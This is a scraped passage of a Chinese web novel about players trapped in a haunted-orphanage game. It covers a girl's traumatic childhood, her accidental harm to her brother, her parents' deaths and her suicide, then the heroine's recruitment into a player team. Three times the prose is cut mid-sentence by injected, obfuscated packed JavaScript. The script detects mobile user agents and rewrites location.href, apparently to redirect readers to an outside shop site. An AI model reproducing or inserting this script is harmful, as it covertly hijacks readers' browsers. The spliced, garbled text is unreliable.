$(''#content'').append('' 之前的思路,如果怪谈的建立受到本人的影响,那这里面的规则也受本人影响,七岁对她来说是个人生节点,她现在十二岁……” 司沉跟不上她跳跃的思维,静静在一旁等待结果。 迟青瑜跳起来,想要夺门而出:“我知道要怎么办了。” ------------------------------------------------------ 两人离开房间时,已经入夜,孤儿院内还是一番闹腾的景象,这样的“人气”让恐怖阴森的氛围骤减。 迟青瑜在自习室里找到看书的小玲。 “你来了。”她合上书本,“你去干什么也不说,只让我在这里等你。” 小玲的情绪好似带着喜悦:“虽然不知道你做了什么,但孤儿院没有那么压抑了,比之前舒服自在。现在也没有人管我,我在活动室随便借书,监督老师就跟没看到我似的。” 迟青瑜试探她:“那很好。你有注意到孤儿院在场景上的变化吗?” 小玲愣怔,语气飘忽:“好像是有些不一样。” 但面对迟青瑜询问的目光,女孩垂下眸,没了下文。 “学姐!” 自习室的门被推开,徐敏跑进来。 “我按照你说的,去院长办公室门口逛了逛,然后突然间!办公室的门果然变了样子!但我不敢进去,规则上说领养人不许进入院长办公室……” 司沉听闻,佯装对办公室的变化一无所知。 迟青瑜笑笑:“小玲。” 女孩抬眸,与她对上视线后又很快移开。 “我记得你说过,你忘记了七岁以前的事情,是吗?” 女孩语气强硬:“这跟我们要从这里出去有关系吗?” 迟青瑜停顿几秒,幽幽地看着她。 “你不擅长撒谎。” “我问你这个问题,你没有正面回答我,而是反问了我另外的问题。”她双手撑着书桌,拉进距离,“你已经有些想起来了,是吗?” 空气瞬间冷了几度,女孩抿着唇,低头不看她。 “但没有完全想起来。” 迟青瑜直起身子:“那我就回答你的问题吧:有关。这里四周环水,没有任何交通工具,也打不了报警电话,如果你想出去,只有一个方法——” “让天使孤儿院消失。” 徐敏半张着嘴:“啊?我又错过了什么东西吗?” 司沉使使颜色,让她闭嘴。 “你发现了,孤儿院正在坍塌,这里的秩序也在崩坏,并且,露出了它原本应该有的样子。” “这些东西让你的记忆有了松动,但你在抗拒它。” “我不想跟你说话!” 小玲大喊着,起身就跑,司沉眼疾手快抓住她的胳膊。 “别当胆小鬼。”他沉声道,“你讨厌这里的规则,你想要打破规则,就必须自己亲自动手。” 女孩喘着气,平复自己的呼吸,转头看向迟青瑜,眼里充满不安。 迟青瑜压下心头的不忍:“你已经长大了,做个选择吧。” 15.015 迟青瑜在故意给她压力。 她已经弄清楚,这个怪谈杀人除了让玩家违反明面上的规则,还有看不见的隐藏规则。张耀是违反“抛弃规则”而失踪的,这是明面规则;而林巧雁是违反隐藏规则死亡的。 那么,作为怪谈的主人,小玲的潜意识里为何要设立这样的规则? 迟青瑜心里有个不忍说出的答案。 她语气平缓:“赵雪玲,你认为你的父母爱你吗?” 一石激起千层浪。 楼层开始剧烈晃动,巨大的裂痕从墙根蔓延,水泥地板开裂,玻璃破碎,远处的天好似也产生裂痕。 “不……”小玲幽幽地叹气,随后身体迅速缩小,司沉攥着的手臂忽然小了一圈,对方灵巧一抽手挣脱他的束缚。 这一瞬间,地板皲裂,彻底成为碎片,三人的脚下是黑不见底的深渊。 “怎么办,要掉下去了!”徐敏慌乱中抱着一旁的椅子。 她话音刚落,失重感接踵而至。 迟青瑜只觉得脚底生风,意识猛然一黑,陷入昏迷。 醒来时,迟青瑜躺在一个大树下,已不知过了多了。 她迷茫地张望,对上了司沉和徐敏同样茫然的眼神,迟青瑜站起身,活动四肢,确认自己并没有受伤。 司沉拍拍泥土:“我们这是在哪?” 迟青瑜:“她最深处的记忆,或者说,被小玲刻意遗忘的过去。” 徐敏眉头一紧:“……听上去不会有什么好事。” 这是一个不知名的小山村,连绵不绝的山脉看不到头,田野零零碎碎地分布在村子里,没有城市的喧闹,一派宁静祥和的景象。 迟青瑜沉默两秒,掏出手机对着山峰拍照,司沉询问后,她只是摇摇头:“没什么,我们去找小玲吧。” 这个村子一共也就十几口人,想要找到她并不难。很快,三人就在田野边找到了小玲。 此时的她约莫四五岁,瘦小蜡黄的身子套在不合身的宽大衣服里,她走向几个同龄的孩子,语气淡淡地问道:“你们觉得我哪里奇怪?” 这个问题太过突兀,纵然是迟青瑜几人一时也摸不着头脑。 同龄的孩子们更是支支吾吾,说不出个所以然来,有个年龄稍大的男孩站出来:“我们没有欺负你。明明是你没礼貌,我们找你玩,你都不理不睬的,看都不看一眼。” 小玲木着脸,一副思考的样子。 她没有多说什么,转身就走。迟青瑜连忙跟上,穿过泥泞的土地,来到熟悉的门前——那是小玲的家。 此时,一名年轻的妇人正在晾晒稻谷,小玲喊她妈妈。 “妈妈,我今天去问他们了。他们说我很奇怪,说我对他们不理不睬的。”小玲噘着嘴,“但是我没有,我搭理他们了,我只是有点不想看着他们说话。” 年轻的妇人手上功夫不停:“那你就看着他们说话呀!你这孩子,别人来找你玩你应该开心才对,你要学学隔壁家的姐姐,每个人找她搭话都回应,笑得多甜,这样别人才会喜欢你。” “好,那我也学隔壁家姐姐。” 闻言,迟青瑜眼皮微跳。 场景变换得很快,一转眼,面前的景象就变了。 还是刚刚的几个孩子,围坐在大树下,人群的中心是一个哭哭啼啼的女孩子,嘟囔着自己只是起晚了,不是故意不去割猪草,爸爸妈妈太凶了云云。 周围的孩子都在安慰她,小玲也在里面。 只见她扬起嘴角,学着其他孩子的话语:“没事的,他们打你了,疼吗?” 周围的孩子都愣住,表情古怪地看她,女孩反应过来,哭得更厉害:“烦死了讨厌死你了,再也不要跟你玩了!” “你怎么这么过分,怪不得你爸爸妈妈都不喜欢你。” “等你爸妈生了弟弟,他们肯定不要你了。” 人群散开,只留下小玲满脸困惑地站在原地。 “嘶。”司沉倒吸一口气,“这孩子是不是有点……不正常。” 徐敏:“是有点奇怪,但是说不上来哪儿怪。” 迟青瑜叹气:“你们没感觉错,小玲应该不是普通孩子。” 两人都投来好奇的目光。 迟青瑜:“小时候,她的言行举止很怪异,她想跟同伴打好关系却总是弄巧成拙,因此无法融入团体。再加上,我发现她小时候有一些强迫行为……我不想妄下结论,但她应该属于高功能自闭症系谱的特殊儿童,或者说,可能是阿斯伯格综合征。” “阿斯什么东西?”徐敏疑惑。 迟青瑜解释:“这是一种比较特殊的自闭症,跟大众认知的自闭症不太一样。这类孩子表面上看,语言能力和智力水平都是正常水平,但事实上他们的情绪感知能力是有问题的。” “例如,小玲可能没办法分清,不同的社交场合应该用什么样的情绪。如果她没有表情,或许会被人评价太冷漠,但如果她使用了错误的方式,就会被认为行为古怪。” 她只是听了妈妈说好孩子应该多笑笑,就不分场合地使用微笑。 场景飞速变化。 村里建起了一个小学堂,每年都有几个支教老师来到山村里教孩子认字,很快,小玲就被支教老师发现了她的天分。 迟青瑜看向不远处的学堂,情绪不明:“这类型的孩子兴趣狭窄,只对自己感兴趣的东西钻研颇深。小玲在数学上确实很有天赋,但并不是每个特殊孩子都有这样的天赋,她只是恰好——” “恰好,兴趣长在了数学上。” “恰好,数学又是符合家长和社会期待的兴趣。” 司沉和徐敏沉默半晌,如鲠在喉。 再后来,支教老师推荐小玲的父母带她去市里读小学。 “她很有天分,现在国|家都在寻找和培养数学方面的人才,你们家孩子这个情况,说不定还能上最好的小学。” 年轻的支教老师清楚农户最担忧什么:“你们不用担心,钱的问题都好办,你们可以申请贫困户,小玲要是争气点,还能拿奖学金呢。” 两位农户点头哈腰,笑着连忙说好。 迟青瑜面色不悦,司沉在一旁察觉出她的情绪,轻声问:“怎么了?” “那个年代很少人了解这种病症,只会把她当成怪异的天才,但她其实最需要的是社会化训练,她应该在父母和医生的引导下慢慢适应社会。” 迟青瑜几乎可以想象得到,一个没有正常感知能力的孩子,在同龄团体中会受到什么样的排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222694|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挤。 七岁,小玲到了能上小学的年纪。 乡野场景褪去,钢筋混凝土的建筑拔地而起,三人转眼间就身处于窗明几净的教室里。 富有年代感的标语挂在黑板上方,迟青瑜视线偏转,很容易就找到小玲的位置——因为身高问题特意安排的座位,摆着高深书籍的抽屉,以及写着复杂符号的桌面和草稿纸。 此时已经黄昏,学校里几乎没了人。 迟青瑜在课桌抽屉里,翻出一本特殊的本子,是一本样式老旧的密码日记本。 “密码?”徐敏灵机一动,“……要不暴力破解算了吧。” 迟青瑜没有动作。 密码是六位数,司沉翻遍了课桌也没有找到什么线索。 迟青瑜想到什么:“天使孤儿院里,小玲房间的墙壁上写满了数学公式定理,但有一部分很特殊。” 近代三大数学猜想——费马大定理、四色定理和哥德巴赫猜想。 “前两个猜想分别在1994年被英国数学家和1976年被美国数学家证明,最后一个猜想尚未完全证实,目前最好的结果是1996年陈景润的。” 她尝试输入秘密:947696。 密码不对。 “要不还是暴力破解——” 迟青瑜打断徐敏,她的执着令两人讶异:“不对,哥德巴赫猜想并没有完全证实,而且在墙壁上的证明过程也是空的……” 所以——有可能,小玲认为自己才是那个完美证明人。 她将最后的年份改为小玲的出生年份:947690。 锁头一松,日记本摊开在众人面前。 日记记录得并不频繁,有时候隔着好几个月才有下一篇,尽管如此,迟青瑜还是找到了不少细节。 1997年9月10号晴 这是我的第一篇日记。 不知道该说什么,语文老师说这是作业,每个人都要做。 但我真的不知道该说什么,老师说,日记写什么都可以,把自己的感受和生活记录下来。她还偷偷跟我说,特别是小玲要多写日记,才能更好地了解自己。 1998年2月3号小雪 寒假,我回家了。 妈妈在喝药。我看不懂,爸爸说是给妈妈调理身体的。他说,我现在去市里念书了,以后家里没有其他人,他们想生个弟弟陪陪自己,以后也陪陪我。 我不明白,为什么是弟弟? 邻居家的姐姐悄悄跟我说,她家里也生了弟弟,有了弟弟之后,爸爸妈妈就不爱她了。 我问她为什么?她说没有为什么,他们不爱就不爱了,大人总是这样,说变就变。 好奇怪,我觉得不太舒服。 1998年 11月18号雨 听说弟弟出生了,但我还在学校不能回去,家里好像摆酒了,我生日的时候都没有摆酒。 很难受,老师说我这种情绪叫伤心。 班里的同学过生日都会庆祝,没人给我庆祝,那我就自己记住生日吧,在每年的日历上都标注起来,这样爸爸妈妈也会看到。 后面的日记空缺了一大段,而后,纸张褶皱,有明显水淹的痕迹。 迟青瑜心头一跳,往后翻页。 16.天使孤儿院16 2002年 7月 放暑假了,弟弟去河边玩水,爸爸很生气。 爸爸说,河边很危险,每年都有不听话的孩子去玩水溺死。 但弟弟不听,跟爸爸吵架了。 爸爸很生气,把弟弟按在水缸里面,弟弟就不再去河边玩水了,他听话了。 2002年8月 我不是故意的。 妈妈说,算命的先生说我的八字特殊,以后不能叫爸爸妈妈,要叫叔叔阿姨,这样我们家才能好。 我不愿意,我知道他们记得那件事,但我真的不是故意的。 2002年9月 爸爸妈妈去很远的地方打工了,但没有带我。 对不起。 我不是故意的。 为什么? 后面的字迹被水淹过,墨水晕染,已经看不清内容。 徐敏看着文字,心口堵得慌:“她到底做了什么事情,要一再反复强调呢?” 迟青瑜垂下眼眸:“小玲错把父亲吓唬孩子的方式,当成了一种让孩子听话的方式。” 弟弟与父亲的争执发生在七月,小玲道歉的笔记在八月。这段时间很短,并且都属于溺水事故频发的夏季。 迟青瑜问徐敏:“如果你是父母,在夏季忙农活的时候,家里有一个四岁的幼儿和十几岁大女儿,你会怎么做?” 徐敏没有多少迟疑:“让姐姐在家里看着弟弟?” 迟青瑜顺着她的思路:“那如果弟弟吵着要去河边玩呢?” 徐敏张张嘴,惊讶令她说不出话来,司沉接过她的话柄:“小玲可能会为了管教弟弟,学习父亲教育孩子的方式,将她的弟弟按在水缸里。就像你说的,她可能对情绪的感知不太正常,所以,很可能会下手没轻重……” 他看向迟青瑜:“所以,她可能,错手杀死了她的弟弟。” 随着司沉的话语落下,教室的场景出现无数裂痕,由天花板开始破碎崩塌,显现出一片虚无的白。 当场景碎裂,几人又回到了天使孤儿院内,这次,周围没有任何景物,只有脚下的方寸土地,和面前的一扇门。 徐敏反应过来:“学姐,这是院长办公室的门,现在成这样了。” 这是一道厚重的金属门,缠绕着交错复杂的铁链,迟青瑜走上前,轻轻一扯,铁链断裂粉碎成末。 门后,悬挂着一台电视机,小玲蹲在电视机前,低头抱膝。 款式老旧的电视机正在播放新闻。 【插播一条紧急新闻。】 【今日晚间十九点,我市开发区的一处工地发生坠楼事故。遇难者人数为七人,其中一人当场死亡,其余六人重伤,已送往医院紧急抢救。警方目前正在对案发现场进行调查。】 司沉瞪大眼睛,一时间诧异:“这个新闻,我知道。” 两个年轻的大学生看向他。 司沉:“这个新闻发生在我很小的时候,当时我对这事的内幕也听不太懂,是长大之后,一次偶然的情况下我才了解到这件新闻的全貌。” 原来,当年的这个坠楼事故并不是简单的事故。经过警方的调查,这是一起认为制造的凶杀案,受害者均为工地的工人,而犯罪嫌疑人是施工方雇佣来的混混。混混收了钱,将几个工人推下高楼,坠入深井。 而警方继续追查,用了一段时间,才发现事情背后另有隐情。 施工方的老板受邪|教洗脑,认为只有人柱献祭才能保得大楼顺利建成,因此才雇佣杀人,那七个工人正是他们挑选的目标。 “这事当年闹得很大,可惜我也还小,后续知道的也只有官方发布的内容。” 徐敏愣了愣:“怎么还有这种事情……” 司沉摇摇头:“以前教育水平不高,有些人比较容易信这些。” 迟青瑜没有参与他们的讨论,她走向小玲,蹲下来,与她齐平。 “小玲,你的父母也在里面对吗?” 良久的沉默,女孩的声音从臂弯里传出:“都是我的错。” “他们走了,去沿海的城市打工,让我在老家好好读书。如果我没有对弟弟做过分的事情,爸爸妈妈也不会离开我,不会死,更不会只留下我一个人……” 两人的对话持续着,司沉和徐敏没有插话。 “爸爸妈妈不喜欢我,爷爷奶奶说,要我听话,爸爸妈妈就会回来了。” 迟青瑜深吸一口气。 良久,她说出一句话:“小玲,你弟弟没有死。” 小玲没有反应,倒是旁听的两人面带惊讶。 迟青瑜继续说下去:“你当时只是想学爸爸的方式吓唬他,所以你没有用很大的力气,并且,你本身瘦弱,力气也不大。” 小玲露出一双眼睛,看着地板:“你知道?” “我知道。因为一旦你杀了人,在你老家那种小地方风言风语是藏不住的,如果你的父母要出去务工,一定会带你搬家转学。” 女孩下意识否定:“但是他们不喜欢——” “不。” 迟青瑜比她否认得还要坚定:“你错了。” 她干脆一屁股坐下,盘着腿,与女孩交谈。 “你从小就出生在封闭落后的山村,村子里很多人不仅封建迷信还重男轻女,但你的父母并不是恶人,他们的死跟你也没关系。” “你家有一本《黄帝内经》,那本书里记载的都是歪门邪道,教人怎么生儿子云云,但他们把你的生辰八字记在里面,我见过,你应该能相信我。” “但是那本书里的东西并不对劲,现在想想,或许也是邪|教的书籍。所谓的算命先生是他们找来的,你的八字夹在书里,那么算命先生的身份就不干净。” “他就算不是邪|教人士也是江湖骗子,说出来的东西或许只是想达到某些目的。” 女孩定定地听着。 “你的父母确实很愚昧,但他们也清楚地记得你的生辰。” 迟青瑜耸耸肩:“小时候他们会偶尔陪你认字,只是他们学历不高,农活也忙,抽不得太多时间;你有天分,他们送你去很远的地方读书,尽管这会让你孤独,但他们知道读书是你唯一的出路;后来,你差点溺死弟弟……你的妈妈去找了算命先生,让你改口叫叔叔阿姨。” “我没有为他们的做法推脱责任,但在他们有限的认知里,那是真的为家庭好的方式。” “只是这样的方法太过愚蠢,将女儿的心越推越远,你本就不是普通孩子,心思其实很敏感但感知却很迟钝。有时候自己很难受很伤心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235619|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但却不知道如何表达出来。” “小玲,所以你才觉得,从七岁那年送你去读书开始,自己就是孤儿了。” 女孩没有否认,迟青瑜知道自己说对了。 这或许就是天使孤儿院怪谈的由来。 迟青瑜身体向前倾斜,温声道:“但你并不是孤儿。你在父母死后也没有去过福利院,所以孤儿院这个概念只是存在于你的认知里,一个孩子错误的认知。” 小玲还太小,没有走出社会,并不清楚国|家并不存在“孤儿院”,官方用语一直是“福利院”,孤儿院这个词或许只是她从邻居嘴里听来的,吓唬小孩的说法。 “但他们如果不搬家——” 迟青瑜眼神一凝,定定看着她许久。 “小玲,你并不知道这个新闻的后续吧?” 女孩一怔。 司沉说,这件事当年警方也调查了一段时间,才公布真相的。 如果她再等久一点,是不是就不会那么愧疚,也不会选择这样的结局了? 迟青瑜道出她的结局: “父母死后不久,你自杀了。” “你知道的,这里不是真实的世界,小玲,现实里你已经死了。” 世界在颤动。 ------------------------------------------------------ 同一时间,市立儿童福利院外。 小轿车停在郊区已经一整天,从这天早晨开始,警方来的人在福利院进进出出,惶恐和不安的气氛笼罩空气。 此时已经入夜,车内的两人依旧守在这里。 女人靠着车窗,问副驾驶位的少年:“警方怎么说?” “失踪六个人。” 少年手指飞舞,在键盘上敲敲打打,一串串信息显示在屏幕上。 “其中两人是一对夫妇,一名福利院的前台工作人员,两个做义工的大学生……还有司沉哥。” 女人细细观摩着几人的详细信息:“这六个人吗……” 少年不以为意:“我觉得这几个人没什么好担心的,除了那俩大学生看起来聪明一些,其他人的资质都一般般。” 他的意思是其他人都笨,但他不敢太直白。 “就算他们死了,成了‘伥鬼’,也没有威胁性——你小子是这个意思吗?”女人翘着二郎腿。 少年立刻低头:“姐,我错了,我不是这个意思。” 女人暂时不想追究他的无礼,她把视线转移到迟青瑜的资料上,面部肌肉紧绷:“这个学生的资料……有点意思。” 嘀嘀。 电脑发出警报声,弹窗闪烁,一旁的少年赶紧挪开女人的头,被打断思路的女人严肃道:“出事了?” “是有点事,‘场’的能量在变化。”他总结着数据。 “门要开了?” “是……也不是,不太像,我、我没有见过这个数据。” 少年神色近乎迷恋,好似得到了什么珍贵宝物:“可能,‘场’正在崩塌。” “什么?!” 女人坐直身体,下一刻冲出车外,在车后备箱里翻找什么。 她高声喊道:“别看数据了,拿绳子,捞人去!” 17.天使孤儿院17 人一旦意识到自己在做梦,就再也无法回到梦境。 赵雪玲从小就隐隐感觉,自己与其他人是不同的,但这种差异因何而来,她并不明白。 她尝试过交朋友,但结果总不尽如人意。 后来,常常出现在她身边的,只有孩童的恶作剧:堆满沙子的口袋、不知何时出现在背后的贴纸、淌着水的桌椅……她不知道该怎么应对这些事情,心里莫名堵着奇怪的感觉,但她形容不出来。 最后,她只能假装看不见,恶作剧也越来越猖狂。 她用无尽的数字将自己伪装起来,用符号将世界淹没,只有这样,她的世界才是清静的。 她觉得,自己只要不去交朋友,就不会有坏事发生。 直到那年暑假。 父母没有让她跟其他孩子一样帮忙干农活,而是让自己在家里照顾弟弟,妈妈让她带着弟弟学习,好过他到处乱跑。 但是弟弟坐不住,总不乐意听她的话。 他不爱看书,不爱练字,也不喜欢她讲数学——弟弟根本听不懂。 “好无聊,我要出去玩!” 弟弟又哭又闹,雪玲束手无策,但她是姐姐,姐姐要管教弟弟。 “你要去哪里?又去河边吗?小心爸爸回来打你!”她搬出家长做后盾,可惜狐假虎威并不总能有效。 “不要你管!” 雪玲慌了,如果她没有看好弟弟会被如何教育?她不敢去想那样的结果。 于是那一刻,她想起来了爸爸教育弟弟的方式。雪玲比他年纪大,硬是拽着他到门口的大水缸前,学着爸爸那样恐吓他。 她力气不大,弟弟又拼命挣扎,引来了邻居的注意。 “你干嘛,快住手你要杀人啊?!” 面对邻居的指责,雪玲感到困惑:“我没有想杀他,只是教育他不能去河边玩,而且爸爸也是这样做的。” 可邻居并不听信这套说辞,晚上爸爸妈妈回来的时候,黑着脸,责问雪玲,她还是想不明白:“爸爸可以这么做,我不行吗?可是我明明看到弟弟上次变得很听话了,难道我做的不对吗?” 那一刻,父母的脸色变得惨白。 雪玲忘不了那时的眼神。他们好像在看着她,又像是在看一个陌生人。 爸爸妈妈没有说什么。 之后,家里频繁有陌生人造访,那人穿着颜色奇怪的袍子,跟父母交谈许久,又叫她过去问些问题。 再后来,爸爸妈妈说要变卖田地,去沿海的城市打工。 “这种小山村,一年到头也挣不着几个钱,趁着我跟你妈妈还年轻,我们要出去赚钱回来养你们姐弟俩。你好好读书,长大了一定会有出息的。” 他们带走了弟弟,将雪玲留在爷爷家。 妈妈说,是因为弟弟年纪太小,爷爷奶奶身子不好也没空管教。“雪玲,你已经长大了,可以好好照顾自己。” “好。” 雪玲不觉得有什么,学校很远,她只有放假才能回来。 但学校里的同学却不同。 “你怎么这么傻,你家这种情况叫重男轻女!你弟弟跟着去大城市肯定过上好日子了,你不就成留守儿童了吗?” “真没看出来,原来你这么笨,这都不知道?” 老师也似乎更加“关照”她,好像她真的很可怜一样。 真的吗?因为她是不讨人喜欢的小孩,所以爸爸妈妈要离开她,带着弟弟去别的地方,不要她了吗? 她找不到答案,只能去求助书本,但书本的答案跟他们说的是一样的。 那个学期很长,长到她只能记得晚上在厕所里偷偷哭过,借着水流掩盖声音。 学期即将结束的时候,赵雪玲收到死讯。老师找她谈话,同学也避开她走,她寒假回去爷爷奶奶家,才知道两位老人接受不了打击,已经去世了。 一时间,她举目无亲。 村子的熟人说,她要被送去孤儿院了。 那是什么地方? “没爹没妈的孩子就会去孤儿院,然后等别人收养,不过你这么大了,人家都不要的。” 她不想去那种地方,雪玲很后悔……如果她是个好孩子,爸爸妈妈会死而复生吗? 赵雪玲找到那条河,南方的冬天很冷,河水冰冷刺骨。 她只希望,下辈子可以当一个被大家喜欢的好孩子。 …… 前尘往事的浮尘被拂去,迟青瑜安静聆听着女孩的叙述。 良久,三人都无言。 最后是雪玲开口: “姐姐,这个地方真的是我创造出来的吗?” 迟青瑜脖子有些僵硬,她点头道:“小玲,天使孤儿院只是一个幻境。” “你创造了这里的规则,让护工和教师管束你,你想通过这样的方式惩罚自己,小玲,这种惩罚会让你好受点吗?” 赵雪玲不知如何作答。 她至始至终,都很难找到自己的心在何处。 迟青瑜:“不,你也不仅仅是在惩罚自己。” “你的内心一直有一个声音,它在等,等待你什么时候能看清自己的感情,在痛苦与压抑中爆发。” "那种情绪叫愤怒。" 她应该感到愤怒的。为什么不呢?她先天患有疾病,而这个时代却没让她得到正确的治疗;她的家长封建愚昧,轻信所谓的算命先生,把她赶进孤独的牢笼;她直到死亡也没有朋友、还失去了双亲,是这个世界对她不公。 但她连愤怒都不知道是什么。 赵雪玲呆愣地坐着:“有很多人来过这里。” 迟青瑜知道,“这里”指的是天使孤儿院 “他们有老有少,但我都不喜欢他们。只有看到姐姐的时候,我才觉得姐姐是最适合我的领养人。我心里很期待,没想到护工真的让你领养我了。” 迟青瑜不做声:或许正是你的期待,才让护工主动把你送到我面前。 “我想靠近你,但我又怕伤害你……我见过那些领养失败的人,他们都没有好下场。” 她好像忽然理解什么:“姐姐,有很多人死在这了。是我的错吗?” 迟青瑜无法给她定罪。 女孩自嘲般笑笑:“我会下地狱吗?” 世界在一点一点破碎,小玲的身体逐渐变得透明。 “我会有下辈子吗?” 只有这个问题,迟青瑜非常坚定:“不会。” “人不会有下辈子,所以你不用再想着当好孩子了。” “是吗?这样也很好。” …… 她的身体消失,天使孤儿院随之消亡。 轰隆隆——。 纯白的空间内发出巨大的轰鸣声,震耳欲聋。 空气扭曲着,化成一道旋涡,涡流的力在把人往外吸。 司沉犹豫一瞬,立即反应过来当下的情况:“怪谈应该在崩塌,大家小心!” 巨大的吸力像是好几双手在拉扯着迟青瑜,她蹲下身子,压低重心才堪堪稳住身形。 她看向其他人。 徐敏在风中伫立着,风吹起她的短发和衣摆,却没有将她的身体挪动半分。 “徐敏?” “学姐。”她苦笑,“你看起来并不惊讶。” 司沉眉头紧锁:“徐敏,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260486|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的是……” “我知道你们怎么称呼我们的,你们叫我们‘伥鬼’,但我还是喜欢别的称呼。” 迟青瑜垂下眼,她对这件事并不意外。 “你是什么时候知道我的身份的?”徐敏的面容开始褪去血色,变得苍白。 迟青瑜一五一十道来:“死人会混迹在活人中,前台的员工一直都没有出现,所以她没有选择成为‘伥鬼’,也就是说‘伥鬼’只能在你们三人之中。” “你们在遭遇停电后,三人各自分头行动,证明你们并不能互相保证身份。我猜,你有可能是在不知情的情况下,遭遇了维修工,或许跟前台人员的遭遇一样,你们都死了。” 她能排除掉张耀和林巧雁,是因为他们并没有主动引导危害她,反而因为疏忽而把自己搭进去了。 所以那个人只能是她的学妹,徐敏。 但迟青瑜觉得她并无恶意。 “但你不是‘伥鬼’,你没有害我,反而给我送线索。” 活动室的时候,她明明可以不用来,却借口说青青要看书而特意跑一趟,又那么巧,青青拿的书正好是怪谈的线索? 停电的时候也是,她分明没有看过《停电公告》,为何一点疑惑都没有就直接照做? 护工的办公室里,也是她忽略明显的档案柜,直径走向并不起眼的办公桌,而抽屉的夹层里恰好有《员工守则》? 迟青瑜从不认为,她的学妹会是单纯的人。 “我确实不是。” 徐敏看着两人的身体离旋涡越来越近,知道自己时间已经不多。 “学姐,听清楚我接下来的话,很重要。” 她将情绪压在心底,让自己变得理性起来。 “事情确实跟你想的一样,我死了。当时,有一个诡异的声音问我:你现在有一个机会,是选择帮助怪谈?还是帮助玩家?” 如果她选择前者,那么她必须要使所有玩家死亡,她才算获得游戏的胜利,而胜利奖励非常诱人:复活,并回到现实世界; 如果她选择后者,那她必须谨小慎微,只要有一个玩家活着出去,她就能胜利,可相应的,这条路线的奖励非常一般。 “祂说,我会成为植物人陷入永眠,直到游戏终结,我才会苏醒。” 徐敏选择了后一条路。 “成为死人之后,这个怪谈的所有规则都进入我的记忆,我当然知道哪里有线索,只是我得非常小心,不能被你们发现。” 毕竟,《玩家守则》里说,死人必须要被公投处决。她死了,就前功尽弃了。 司沉抿唇不语:他先前从未遇到这样的人,也是第一次知道这个信息。 迟青瑜不会去询问她这么做的理由,她有眼睛,徐敏也确实值得她信任。 “我们没有太多时间了。” 徐敏的叹气声消失在空中。 “学姐,你之前跟我说一句话——” “玩游戏,你不会输。” 迟青瑜的意识在这一刻,陷入黑暗的深渊。 ------------------------------------------------------ 当迟青瑜再次醒来时,眼前的景色并不熟悉。 不是福利院,不是荒郊野岭,不是派出所也不是医院。 她躺在一个出租屋内。 双手双脚被绑在床沿,动弹不得。 ——等等,她真的回到现实世界了吗? 门外有几人交谈的声音,随后,房间的门被打开。 一个长发卷曲的女人神色惊讶:“你这么快就醒了?” 18.幕间1 女人不到三十岁,画着精致利落的妆容,一身干练优雅的职场装束,见到迟青瑜的样子,她没有掩饰自己的惊讶:“你竟然还清醒着。” 迟青瑜想活动四肢,被绳子束缚住动作,她不满道:“能不能先放开我?” “抱歉抱歉。”女人快步走上前,三下五除二解开绳子,“我们没有恶意。只是大多从怪谈里活着出来的人,精神都不太正常,很多人醒来之后会有攻击倾向,我们也是出于安全考虑,才出此下策。” 迟青瑜摆脱束缚,撑着床沿坐起来。 好在身体没有太多不适,除了肚子有些饿以外。 “看你精神正常,我就知道你不是普通的玩家。你睡了将近十个小时,对于第一次进怪谈的玩家来说,你醒得算早的。” 迟青瑜扭头看到床头柜上放着自己的随身物品,她一一清点,发现一样没少。 她终于抬头看向女人:“方便解释一下现在的情形吗?” 女人找了把椅子往旁边一坐:“我叫沈秋白,初次见面,不知道你是否从司沉口中听过我的名字。” 迟青瑜:“没有。” 沈秋白并不意外,她抹着口红的双唇微微一笑:“他跟我说了你的事,我知道你们一起从怪谈里出来,并且,成功消灭了这个怪谈。” “我和他,还有我弟弟三个人,组成了一个玩家小队。”沈秋白温声道,“你不知道。从怪谈里活着出来的人,都会比别人更容易进入再次进入怪谈。” 换言之,只要进入一次没死,这个状态就会一直持续到死为止。 “我这三个月已经进过三次了,平均每个月一次。”沈秋白耸耸肩。 迟青瑜颔首:“所以,你们是为了增加生存概率而抱团的人。” 沈秋白扬起眉毛:“没错。” “我也不多废话了,开门见山吧。”沈秋白坐直身体,语气诚恳,“迟青瑜小姐,我们希望你能加入我们。” 迟青瑜眨眨眼睛:“为什么?” “因为我们了解你的经历,认为你是非常值得合作的同伴;并且,你第一次破解了怪谈的谜题,我们队伍的目标并不仅仅只是生存而已,我们的终极目标是破解整个游戏。” ——直到这个游戏结束,我才能醒来。 迟青瑜的脑海中闪过徐敏的面容。 她不动声色:“跟你们合作的好处是?” 话音刚落,房间的门被再次推开,首先显现的是司沉高大的身形,他在门口顿顿脚步,随后很自然地走进来:“打扰了,她醒了吗?” 司沉的身后还跟着一位少年,体态扭捏,神色并不自然。 